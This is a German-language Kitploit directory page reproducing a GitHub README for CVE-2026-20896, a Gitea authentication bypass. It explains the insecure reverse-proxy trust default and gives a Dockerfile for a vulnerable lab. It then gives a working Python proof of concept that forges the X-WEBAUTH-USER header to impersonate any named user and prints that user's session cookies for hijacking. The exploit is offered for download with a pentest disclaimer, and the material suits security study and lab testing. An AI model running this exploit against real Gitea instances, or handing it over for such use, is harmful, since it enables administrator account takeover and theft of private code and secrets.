Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-20896-Gitea-Authentication-Bypass — Eine Erklärung und ein PoC zur Ausnutzung der Authentifizierungs-Bypass-Schwachstelle CVE-2026-20896 in Gitea. Damit können Session-Tokens für gültige Benutzer in der Gitea-Instanz gestohlen werden. | Kitploit
Tools/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsAuthentifizierungLernen & BildungLabs & Praxis
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

Eine Erklärung und ein PoC zur Ausnutzung der Authentifizierungs-Bypass-Schwachstelle CVE-2026-20896 in Gitea. Damit können Session-Tokens für gültige Benutzer in der Gitea-Instanz gestohlen werden.

Repository anzeigen
19vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-20896 - Gitea ≤1.26.2 Authentifizierungs-Bypass

1. Was ist Gitea?

Gitea ist eine leichtgewichtige Open-Source-Git-Hosting-Plattform, die Organisationen und Entwicklern ermöglicht, Quellcode-Repositories zu verwalten, Issues zu verfolgen, Änderungen zu überprüfen und an Softwareprojekten zusammenzuarbeiten. Sie bietet ähnliche Funktionen wie Plattformen wie GitHub und GitLab, ist jedoch darauf ausgelegt, selbst gehostet, effizient und einfach zu warten zu sein, was sie für Organisationen geeignet macht, die mehr Kontrolle über ihren Code und ihre Entwicklungsinfrastruktur wünschen.

2. Erläuterung der Schwachstelle

CVE-2026-20896 ist eine kritische Schwachstelle zur Umgehung der Authentifizierung im offiziellen Gitea-Docker-Image, eingestuft mit CVSS 9.8 (Kritisch). Sie betrifft Gitea-Docker-Images bis einschließlich 1.26.2. Die zugrunde liegende Ursache ist eine unsichere Standardkonfiguration: REVERSE_PROXY_TRUSTED_PROXIES = *, die dazu führt, dass Gitea Reverse-Proxy-Authentifizierungs-Headern vertraut, die von beliebigen IP-Adressen stammen. Wenn die Reverse-Proxy-Authentifizierung aktiviert ist, kann ein nicht authentifizierter Remote-Angreifer daher einen gefälschten X-WEBAUTH-USER-Header senden und Gitea dazu bringen, den Angreifer als den angegebenen Benutzer zu behandeln. Insbesondere kann die Identitätsübernahme eines Administrators zu vollständigem administrativem Zugriff führen, ohne dass ein Passwort oder ein gültiges Authentifizierungstoken erforderlich ist.

Die potenziellen Auswirkungen sind schwerwiegend, da ein administrativer Zugriff auf Gitea private Quellcode-Repositories, Anmeldeinformationen und CI/CD-Geheimnisse offenlegen sowie die Änderung von Repositories, SSH-Schlüsseln, Webhooks und anderen sicherheitsrelevanten Einstellungen ermöglichen kann. Die Schwachstelle ist speziell für Bereitstellungen relevant, die das betroffene Docker-Image zusammen mit der Reverse-Proxy-Authentifizierung verwenden; sie ist nicht einfach ein Fehler in Giteas normalem Passwort-Authentifizierungsmechanismus. Gitea hat das Problem in Version 1.26.3 behoben, und Administratoren sollten auf eine aktuelle, gepatchte Version aktualisieren und ihre Reverse-Proxy-Trust-Konfiguration überprüfen, anstatt sich auf die unsichere Wildcard-Einstellung zu verlassen. Berichten zufolge gab es außerdem Ausnutzungsversuche gegen exponierte Gitea-Instanzen, weshalb eine zeitnahe Behebung besonders wichtig ist.

CWEs

  • CWE-284 – Unzureichende Zugriffskontrolle.

TTPs

  • T1078 (Gültige Konten)
  • T1190 (Ausnutzung einer öffentlich zugänglichen Anwendung)

3. Lab-Erstellung

Wir werden einen Docker-Container mit einer verwundbaren Version von Gitea ausführen, in diesem Fall der Version 1.26.2, unter Verwendung des folgenden Dockerfile:

FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

Verwenden Sie dann den folgenden Befehl, um den Docker-Container zu erstellen:

docker build -t gitea-cve-2026-20896-lab .

Stellen Sie den Docker-Container schließlich mit dem folgenden Befehl bereit:

docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. Proof of Concept

Wenn wir den Namen eines beliebigen Benutzers auf der Gitea-Instanz kennen, können wir dessen Identität übernehmen, indem wir den Header X-WEBAUTH-USER: username missbrauchen. In diesem Lab haben wir einen Benutzer namens jbkira erstellt. Daher zeichnen wir einen normalen, nicht authentifizierten Zugriff auf die Hauptseite von Gitea mit einem Proxy auf – beispielsweise mit BurpSuite – und fügen den Header ein:

image

Wenn wir diese Anfrage mit dem X-WEBAUTH-USER-Header weiterleiten und die Gitea-Seite anschließend erneut im Browser aufrufen, sehen wir, dass wir nun als der Benutzer jbkira angemeldet sind. Das funktioniert jedoch nicht immer auf diese Weise. Daher habe ich ein PoC-Skript erstellt, das den Angriff durchführt und das Sitzungscookie des Zielbenutzers stiehlt, das Sie dann in Ihren Browser kopieren und einfügen können, um Zugriff auf den Zielbenutzer zu erhalten.

5. Automatisiertes PoC-Skript

Automatisiertes PoC in Python, das den Authentifizierungs-Bypass-Fehler ausnutzt und das Sitzungscookie des Zielbenutzers stiehlt:

import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
Tool herunterladen